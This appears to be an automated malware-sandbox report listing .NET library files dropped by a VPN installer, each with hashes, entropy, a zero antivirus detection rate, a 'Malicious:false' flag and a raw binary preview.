                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):102888
                                                                                            Entropy (8bit):6.1353570583456385
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:Arf5GttgxHXEuRmG5rtkGY4CEmWAxXSSYhhS98ca2Wvsd65FJDlGWwkEyKAwrxSb:05GttWHXEUx5r65LxXshk8JDIWPKhQb
                                                                                            MD5:26143B75BA521764BF8EB97540DC1834
                                                                                            SHA1:72E72353C19630720D8DC7BD33960F79F972E110
                                                                                            SHA-256:D9580C8F08D51207AAD292C459DF017976A6E9CFC7EFE9EBDC3EE97B3C528C74
                                                                                            SHA-512:044FBB7E12102D3348C295E325AC5289974FFFF155934BB990E158B1352E3D9760AFB35A3BCE6AA0A8415DAB160D958AEF3588DD5021DC33D495E34623062F29
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...eu.K...........!.....\...........z... ........@.. ..............................v.....@..................................y..K....................f...+...........x............................................... ............... ..H............text...$Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................z......H...........L...........x...1...P ........................................z...y.k.....bdd I..`..).PsR@... .aL...%:...y.....XDgM.X}..~)2.v-..4..........EAZZ...,..[..H...o5*C.o...5/I.m.!2...#.:.(......}....*:.(......}....*...0..)........{.........(....t......|......(...+...3.*....0..)........{.........(....t......|......(...+...3.*"..(....*"..(....*..*..{....,..{.....o....*.{....o....*2.~....(....*6.~.....(....*F.~....(....td...*6.~.....(....*J.(.....s ...}....*F.(...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):145896
                                                                                            Entropy (8bit):5.796559165483351
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:PSiitDW10Oug94BeCCepM1STU/xnW+W6jfM0amyw0VzGLC1grekKtk0do/9o8afw:qiNang9meCCepM1ST+xnW+W6jfM0amyM
                                                                                            MD5:4FE29372BE1C3B98B5A129F4FFAF75D4
                                                                                            SHA1:E8DD2E3D96C26E6D4DDD532AF0AA9974248CFAC5
                                                                                            SHA-256:E6DF6C0ACF073FBBF14F315A9572B029325DF5C27692A34EAB169AA0680F47C7
                                                                                            SHA-512:E948225AA03843339EA13FB801C819F3AA8DD171F944A54F7E32BA109E5E9F994CCE1B282C91A35356428B2446D267512A3665AC51395C15E30D36355E6686F9
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...vJ.`.........." ..0..............$... ...@....... ...............................n....@..................................$..O....@...................+...`......T#............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................$......H........q......................".......................................0..H.........(....o.........,....+..{.........,....(....o....s`...}......{.....+..*.0..a.........(.........,R..(....o......uQ........, .sd.....uQ........{....o6.....+...r...ps........og......*....0..>.........{.........,%....{....ti...}.........ru..p.s)...z..{.....+..*...........$......&...}....*z..}.....(*.......}.....(.....*>.(....o.......*R.(.....-..+..o.....*...0............(....o....(.....+..*R..(..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):31208
                                                                                            Entropy (8bit):6.533726828569594
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:NLNoCdzhFQj/hJTBbGXZDDcULH4JVrwRSgBucQgJa5/Zi/dUDyqz1POMr1Aw/KEa:NLqCHmTxGXZDDcULH4JVrwRSgBuvgJau
                                                                                            MD5:E2AE30A3F257602FC3F1C43CCD2031F4
                                                                                            SHA1:58F2B71D1162AE9FCDDF429EB278B0E9A98ADF86
                                                                                            SHA-256:2113EE12B5FA9BAA3E11F199E9F32F77ADA99C2C4526FC7F3B78A48986DC34AA
                                                                                            SHA-512:0147CE1E1AB792862D2A6C13E81EA72BDDDFEA23A4AF65361FC8EE3C1D98C9003079396D06A542CC77A7AB95BC1CEA15824BA7237AEEE5B57E740943C87C0A7B
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dCd..........." ..0..D...........b... ........... ....................................`..................................b..O....................N...+...........a..8............................................ ............... ..H............text....B... ...D.................. ..`.rsrc................F..............@..@.reloc...............L..............@..B.................b......H........0..h0..................Da........................................(....*..{....*>..}......}....*..{....*>..}......}....*..{....*>..}......}....*..{....-%..(.....(......(......s....(....}.....{....*r.#.......?}.....(.....(I...*..,..(....,.*.(....,..(.....{....,..{....o......(....*.0..................s....(............s....(.....(.......?...s ...o!....(.......>...s"...o#....(.......A...s$...o%....(.......@...s&...o'....(.......B...s(...o)....{.......C...s*...o+....{....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):33768
                                                                                            Entropy (8bit):6.526077258248235
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:CnD8wecsVygSvqa8ZDPLryER0SO4JVrTYIWUpDkS/Ka5/Bi/W7v4F4zfKwSAw/Kt:C7eN4vqa8ZDPLryER0SO4JVrTYIWUpDH
                                                                                            MD5:C128F964B9B57928E3C88ADDAD3BCD98
                                                                                            SHA1:EEDCA6F35B7B013A9B40C80F7ED9A12E4A6C3F79
                                                                                            SHA-256:E89D9139DBFF8377D47B6DA01C5A538368B03CBD99329BDE590C6287A28DEBCD
                                                                                            SHA-512:C43EED9D4F062575E3EF34F35A1015F1E70E3A7D2CAD16DCB65991808282E8FBBB261796363BC8D569D52ACEEBF5109C0B18335065F3D9DBAEE4DD5039E1A831
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]............" ..0..P...........n... ........... ...............................Z....`.................................Gn..O....................X...+..........xm..8............................................ ............... ..H............text....N... ...P.................. ..`.rsrc................R..............@..@.reloc...............V..............@..B................{n......H........5...7...................l........................................(....*F.~....(....t:...*6.~.....(....*F.~....(....t:...*6.~.....(....*F.~....(....t:...*6.~.....(....*6.t.....}....*..{....-%..(.....(......(......s....(....}.....{....*..0..........r...p.:...(.........(............s....s....(.........r1..p.:...(.........(............s....s....(.........rO..p.:...(.........(............s....s....(.........*J.s....}.....(....*F.~....(....t....*6.~.....(....*V.t....o....,

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.900740061079095
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:xN9VWhX3WZlpwKANynsAw/98E9VF3AM+oj3S4L:TGnAw/KENAMxl
                                                                                            MD5:6AE6A4F8D789276D6314D708DC8BCAFC
                                                                                            SHA1:2AE5D07B8F70B60FCD55FFC77D3B8EDA7F8264E6
                                                                                            SHA-256:996958AAD17A7834CBC2AAD9F1B8512298F00ADAE044127B1D6ADA086C677C1D
                                                                                            SHA-512:6983095B266FAEFAE7F99A0C4AD6E49011E70D57D69AB1F9970D5E0E5FB54BF7E668E365418DC351BE976D21083FEA26C6AA4DAD89925DF49F9834DC54810363
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............(... ...@....... ..............................`.....@.................................T(..O....@..0................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l...|...#~......<...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.7...K.W...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):21992
                                                                                            Entropy (8bit):6.72214788103536
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:pSk7xWUHIx0S3WF7rWT6pwKANynsAw/98E9VF3AM+oMy8VE0:p/0UHU0SOCAw/KENAMxij
                                                                                            MD5:A025379B6C75C72D0B2E44389E1B952E
                                                                                            SHA1:D73E236D873F78D130A8BFF84D81F9651818D3C9
                                                                                            SHA-256:399A4963849D90B614A53DD32138B7E5356711766A7DAD2D2563F1BF21D04533
                                                                                            SHA-512:43B1C7A184049D562B33905802A8076160B6128DC236E0D9E92B3958100E22771DCB698D1554A6582BE40D6A1CB2E3DA8E7D47FA01A3CEFE433D781BF495826D
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...9.2..........." ..0..............=... ...@....... ....................................`..................................<..O....@...............*...+...`.......;..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......(..............@..B.................<......H....... "...............8..(... ;........................................(....*^.(...........%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*..{....*"..(....*"..(....*"..(....*"..(....*"..(....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(...........%...}....*:.(......}....*..{....*z.(......}...........%...}....*V.(......}......}....*..{....*..{....*V.-.r...ps....z

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):28648
                                                                                            Entropy (8bit):6.429096413867927
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:H4nLpSumfSQrlHViaCZYvLPQmlJLfjnWn6GWYnapwKANynsAw/98E9VF3AM+oPJh:H4QVrxViR9mlxdQAw/KENAMx5Z
                                                                                            MD5:E108E97E32B706D301DF5A37425D03C4
                                                                                            SHA1:9389C212DDDC18895E64B4F220FD7A86580FA8D0
                                                                                            SHA-256:F39A30101A7913E4BAC2A02FF46DF2430C36A5AA5056AB6BBF9EEEACA08642DD
                                                                                            SHA-512:CDA4A950F1BF4443837245EDC837446A775FA9D904EA4D3E0F08EBC9F21D46F1FFBECF6033459F9FF59996F5A326A0169142FC1D134B6250F26E513420ED310C
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....j............" ..0..:..........jX... ...`....... ....................................`..................................X..O....`...............D...+..........$W..T............................................ ............... ..H............text...p8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................LX......H........$..8"...........G.......V.......................................~....*..0..1.......(....,..%-.&.*..(.....o.......&...,...o....,..*.*....................(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%....(....*......(

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):24552
                                                                                            Entropy (8bit):6.628605811172365
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:SdIaf4rbDyIb/KcWCNRWr7JWUUpwKANynsAw/98E9VF3AM+oCOF193:S+THDHbs6GxAw/KENAMxZ
                                                                                            MD5:C178E4F20A22104A87D1D301BEC6BCF0
                                                                                            SHA1:DFAE98F4FBADFA9FC30EA13712A41EA0FFCD2D62
                                                                                            SHA-256:6F295B2B9F08E75C0A867A72A4DA065CF67AB2497FEFE5C508656224D1D9C132
                                                                                            SHA-512:7329803D5BC9A6C1AE6F5D1FEDDA531574A831DC42660DA86547A8DBD89DC417E5B2FB3DF3AEB820C3AA67C2BD70792E216FFB26D0CF4D25CC3D94E74EA65253
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8............." ..0..*...........H... ...`....... ..............................K.....`.................................yH..O....`..d............4...+...........G..T............................................ ............... ..H............text....(... ...*.................. ..`.rsrc...d....`.......,..............@..@.reloc...............2..............@..B.................H......H........$...............A.......G.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):54248
                                                                                            Entropy (8bit):6.2657358784437305
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:4r59g98C87KHeBUbwgKirbdwMRTzAt9lvAwrxv:4r5HC87rUbwgKirJw1DlvhF
                                                                                            MD5:5F912B02B5018CDBD77E3F6135DE9E52
                                                                                            SHA1:60D764249C80D53BD6E231F65C9DA4639E54037E
                                                                                            SHA-256:916AE6CDA1296A87744B4899B4045E7808C836953FF571206389D8BE3DB94C24
                                                                                            SHA-512:91990A0BF9883F68A96C03F03B2B469CB2010DC0D2C07C683E336E038B18478474999E387CFDFDAE2D5CBAC5443429E2075F7FE60996D4CEDBA26A5E6E308533
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....u-..........." ..0................. ........... ....................................@.....................................O.......`................+..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...`...........................@..@.reloc..............................@..B.......................H........a..x\..................@.........................................(....*:...(....(....*&...(....*"..(....*"..(....*"..(....*..(....*.0..,........o....o......o.....jo.....o.....o.....o....*..s....}.....s....}.....s....}......2}.....(.....s4...}....*b.{.....o ....{....o!...*b.{.....o"....{....o#...*6.{.....o$...*.0..-........{....,.s%...z................s.......(.....*..{....,.s%...z.{....-..s&...}.....{......sS...o'...*..{....,.s%...z.{.....o(.......oU...*..{....,.s%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):100328
                                                                                            Entropy (8bit):6.409382993059922
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:6U2qJ+RazRt/Kc4oJiOxFR4NdJF0/RfhF46HAoYKHgPzpS6w7fa1C9rYAwrx6a:d2MRtrfrR+Pe/xAiAzpQ7y1C9rYhz
                                                                                            MD5:4851542D15F473DFEEC7B33A4F32C8C7
                                                                                            SHA1:75CBD86A12D6B6083DA3E9E4E758B0839F8EDA7F
                                                                                            SHA-256:3B3A2F33D6F7578FC3F76E9013F7FBBB7049DD91A2E7F0943427385C03D7A354
                                                                                            SHA-512:3F11406FCA0135EF0F32EC2314B9419A03B9C3ACA5712D3C1774AAE3CA6B1999BEC8C742057D6A2DCA2CB5D6583CF713B676E8C9BE36E844CFDBA7B27BE899A0
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rd..........." ..0..T...........q... ........... ..............................P.....@.................................eq..O.......`............\...+...........p..T............................................ ............... ..H............text....S... ...T.................. ..`.rsrc...`............V..............@..@.reloc...............Z..............@..B.................q......H.......<s.......................p......................................:.(......}....*..{....-...{....(.....{......o....*..{....-...{....(.....{......o....*....0..a........s....}.....s....}.....o....o.....+(.o......{.....o.......(.....o......(.....o....-....,..o.....*.........".4V.......0..J........o....o ....+"..(!.....{.....o.......(.....o".....(#...-...........o.....*........../;.......s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):38888
                                                                                            Entropy (8bit):6.463590680052079
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:O+meiCyrXOwS8uRssveum1peFLHFBbOlAw/KENAMxmu:VyrewFassveuPbBClAwrxmu
                                                                                            MD5:5E8A53A04F7ABE9AB061B37DEEC8511D
                                                                                            SHA1:5C311F2CC04C39B0513756666C927D9314BDC311
                                                                                            SHA-256:1CBE439C581945DEBCEE01F878FE8BED6AD656DBA0EA292D50673382DB23BBC1
                                                                                            SHA-512:40291DA82EB567EA2EA55B281DD531CCD5265845988F542A966E1A082E0DC3D7CD8E3A0A003DA43B789822A6A775C3EB522DEBA523A73E1B702663DE510E422A
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....i............" ..0..d............... ........... ............................... ....@....................................O.......l............l...+..............T............................................ ............... ..H............text...4c... ...d.................. ..`.rsrc...l............f..............@..@.reloc...............j..............@..B........................H.......,A..\@..........................................................J.(.....s....}....**..F.(....**..E.(....*z.{.....To.....:o....&...(....*.0..a.........M.(.....o....,,.{.....`o.....`o....&.{.....o....o....o....&.o....,...o....(.....(....,...(....*..-.r...ps ...z.o!...,%.o"...r...p(#...-..o"...r#..p(#...*.*.*n.{.....~o....&..o$...(....*z..P.(.....o%...,...o&...(....*..{.....(o....&.........s'...(...+.{.....)o....&*..0..3........o(.......YE........3...........m...&...`...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):356328
                                                                                            Entropy (8bit):6.244422689325779
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:yFzzF5VOCxfiKKhsw4NiL0XRzx9WoCklyusbhpn:adfiKI4RzWSyuCpn
                                                                                            MD5:01BA6600DBA7BD569BB0958221B04F71
                                                                                            SHA1:5091DDB5E431E18FA6CBAB16E052EE683A7491F7
                                                                                            SHA-256:5A4A92EC8FF9C0A8B0502B38E89EAF5398205DBD23C87DBED2D77B7B390477B8
                                                                                            SHA-512:57C8A6B04B2BB4D4C7C98D55871237D010877D8213DDD6A934AA44E37F50974DF9CCD0910A164045CEA18D7572C09CFD18EDAB2CC54E371714FF2093984EE6D9
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...i.}..........." ..0..<...........Q... ...`....... ..............................'.....@..................................Q..O....`..H............D...+...........P..T............................................ ............... ..H............text....:... ...<.................. ..`.rsrc...H....`.......>..............@..@.reloc...............B..............@..B.................Q......H........b..@...................DP......................................"..s0...*"..s0...*>..}1.....}2...*..{1....O...,..{2...,..{1....O...o&...*2..O....3...*6.r...p.(4...*..(5.....}6......i.O...}7....{6....{7.....i(8.....}9...*2....i.(:...*>..s;.....(<...*V..{7....{6.....(=...*..0..1..........Y./.*...X.[......(=.........(=..........(>...*....0.._..............+P.../5.../..{9......O......O...o?....0.....%.X..O....O...+.....%.X..O....O.....X....2.*z...X...b...X...b`...X..b`...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):711144
                                                                                            Entropy (8bit):5.963920130457662
                                                                                            Encrypted:false
                                                                                            SSDEEP:12288:LBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUlN:LBjk38WuBcAbwoA/BkjSHXP36RMGqN
                                                                                            MD5:CD19379184933C8468A024589A8128C6
                                                                                            SHA1:7A51DB0EA0963247BAF5B84A53C2E5C3C43DD23E
                                                                                            SHA-256:DBF453EC23731D025844C860471C82ECFE97A0398D218E0C3776C45008DE2D26
                                                                                            SHA-512:BF4B7D3B798BD8D46843BB31975822BE65DA36A1F029D5CC6EF196D82FD6A53A042F71BE806C993E4D78A299DEDAE241081D5DE9129A576BF1D6F3D5C43AED34
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... .......w....`....................................O........................+.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):521192
                                                                                            Entropy (8bit):6.045616558098013
                                                                                            Encrypted:false
                                                                                            SSDEEP:6144:TRKflaWVRA6+LX9c1t3HpbOmhYIeDUQjcaPlq1fQx7NqEaElDp3sL2blV/VyUd9J:TRt6+A1pbOsBQAa4f0pWSbb+1ikju
                                                                                            MD5:D0FB51F0061ECBAA41B19352E1F6997C
                                                                                            SHA1:C7BA87D90941451D01E920825949EB9556640F5B
                                                                                            SHA-256:864975ADDAD8B55B715CDBE05DF4490DA07001A017464A61C36FDB69D9D1C320
                                                                                            SHA-512:3E5C00370D012F35EF2324770D32CD030E0D0664821DAF074EC267EA83E0D05A3E9D7E6B58229B86192E53E0E5BD637F6801199DE4D54200F35E9BD00474F43F
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....p_.........." ..0.................. ........... ....................... ............`.....................................O........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Xw...............r...i............................................{E...*..{F...*V.(G.....}E.....}F...*...0..;........u1.....,/(H....{E....{E...oI...,.(J....{F....{F...oK...*.*. .... )UU.Z(H....{E...oL...X )UU.Z(J....{F...oM...X*.0..b........r...p......%..{E......%q4....4...-.&.+...4...oN....%..{F......%q5....5...-.&.+...5...oN....(O...*..{P...*..{Q...*V.(G.....}P.....}Q...*.0..;........u6.....,/(H....{P....{P...oI...,.(J....{Q....{Q...oK...*.*. .2;. )UU.Z(H....{P...oL

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):53736
                                                                                            Entropy (8bit):6.293200989875825
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:72xghQUndJrmbnJAM6LjB4Mz5k+/FdS0/MuLs/09P2XAw/KENAMxagq:7GghQaJiFAMAhH/Dw/09OXAwrxo
                                                                                            MD5:D194499A718694BBC382BCF74C84DEBF
                                                                                            SHA1:19FCD65F44A2CAE3A3CFE693AA8F026AFC75DEAA
                                                                                            SHA-256:7C70367AF1E84DC33A248054AC9CD17065E769790B7ED5AD66CB34D4F41CA55F
                                                                                            SHA-512:4A8FC901F0A45419E22E569ACDACF430D0B9877ACA64032FF467B43056F46D5FB9EAD62C185BE34CBA21829E24101EA29D94BC8F712B02B35A6EB079BE9B4186
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0................. ........... ...............................l....`.....................................O.......D................+..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...D...........................@..@.reloc..............................@..B.......................H........M...o............................................................{....*..{....*..{....*r.(......}......}......}....*....0..S........u......,G(.....{.....{....o....,/(.....{.....{....o....,.(.....{.....{....o....*.*..0..K....... ..,. )UU.Z(.....{....o....X )UU.Z(.....{....o....X )UU.Z(.....{....o....X*..0..{........r...p......%..{.............-.&.+.......o ....%..{.............-.&.+.......o ....%..{.............-.&.+.......o ....(!...*..{"...*:.(......}"...*...0..#...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):104424
                                                                                            Entropy (8bit):6.208499781200954
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:xdAKzGN0ifSJxFlm+FpoHloqUIdmJlllf07gllfUzb1kUyN1e/rWhsCMbdynBQAu:hbcl5mJlllf07gllfUzb6W/+b+OQhdR
                                                                                            MD5:25ED2EE8D2A675AA955F33CAB636E1AB
                                                                                            SHA1:FFAFF053B438C161527E350D42BDB10ABA3032BB
                                                                                            SHA-256:47FDBC68646272D69C22117F0CF80A04D7A5920B8EC255BAA1E331AB33EF4D43
                                                                                            SHA-512:A8BAFC715468B233252CED53F5301FC527D503A9A303B4495578C8E5610A0AA8ED159BDEF0615D34CBB9365F90D123CF535120F3D31D9EF0EECBD14C267F2D7A
                                                                                            Malicious:false
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#............" ..0..b..........&.... ........... ..............................u.....`.....................................O....................l...+........................................................... ............... ..H............text...,`... ...b.................. ..`.rsrc................d..............@..@.reloc...............j..............@..B........................H.......@...x.............................................................{....*"..}....*>..(......(....*"..s....*..{....*"..}....*......(....*..0..?.......s........}|......(.....,%.{|...,...o...........s....(...+(....*"..s....**....s....*R.o.....o......s....*..{....*"..}....*..{!...*"..}!...*..{"...*"..}"...*..{#...*"..}#...*..{$...*"..}$...*..{%...*"..}%...*..{&...*"..}&...*..{'...*"..}'...*..{(...*"..}(...*..{)...*"..})...*rs................. ...(....*..0..................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):48616
